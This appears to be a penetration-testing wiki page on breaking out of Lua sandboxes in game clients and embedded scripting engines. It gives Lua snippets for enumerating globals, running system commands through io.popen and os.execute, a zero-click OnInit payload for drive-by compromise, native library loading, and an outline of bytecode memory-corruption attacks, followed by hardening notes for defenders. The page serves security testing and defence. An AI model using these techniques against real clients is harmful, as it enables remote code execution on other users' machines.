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126 lines
5.9 KiB
Markdown
126 lines
5.9 KiB
Markdown
# Bypass Lua sandboxes (embedded VMs, game clients)
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{{#include ../../../banners/hacktricks-training.md}}
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This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed.
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Key ideas:
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- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
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- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
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- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
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- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
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## Enumerate the sandboxed environment
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- Dump the global environment to inventory reachable tables/functions:
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```lua
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-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
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local function dump_globals(out)
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out("=== DUMPING _G ===")
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for k, v in pairs(_G) do
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out(tostring(k) .. " = " .. tostring(v))
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end
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end
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```
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- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function:
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```lua
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-- Build an output channel using in-game primitives
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local function ButlerOut(label)
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-- Some engines require enabling an audio channel before speaking
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H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
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return function(msg)
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H.Say(label or 1, msg)
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end
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end
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function OnMenu(menuNum)
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if menuNum ~= 3 then return end
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local out = ButlerOut(1)
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dump_globals(out)
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end
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```
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Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance.
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## Direct command execution if io/os is exposed
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If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution:
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```lua
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-- Windows example
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io.popen("calc.exe")
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-- Cross-platform variants depending on exposure
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os.execute("/usr/bin/id")
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io.popen("/bin/sh -c 'id'")
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```
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Notes:
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- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation.
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- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
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## Zero-click triggers via auto-run callbacks
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If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
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```lua
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function OnInit()
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io.popen("calc.exe") -- or any command
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end
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```
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Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
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## Dangerous primitives to hunt during recon
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During _G enumeration, specifically look for:
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- io, os: io.popen, os.execute, file I/O, env access.
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- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode.
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- package, package.loadlib, require: dynamic library loading and module surface.
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- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
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- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
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Minimal usage examples (if reachable):
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```lua
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-- Execute source/bytecode
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local f = load("return 1+1")
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print(f()) -- 2
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-- loadstring is alias of load for strings in 5.1
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local bc = string.dump(function() return 0x1337 end)
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local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
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print(g())
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-- Load native library symbol (if allowed)
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local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
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local foo = mylib()
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```
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## Optional escalation: abusing Lua bytecode loaders
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When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
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- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
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- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
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- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
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This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
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## Detection and hardening notes (for defenders)
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- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
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- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
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- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
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## References
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- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
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- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
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- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
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- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
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{{#include ../../../banners/hacktricks-training.md}}
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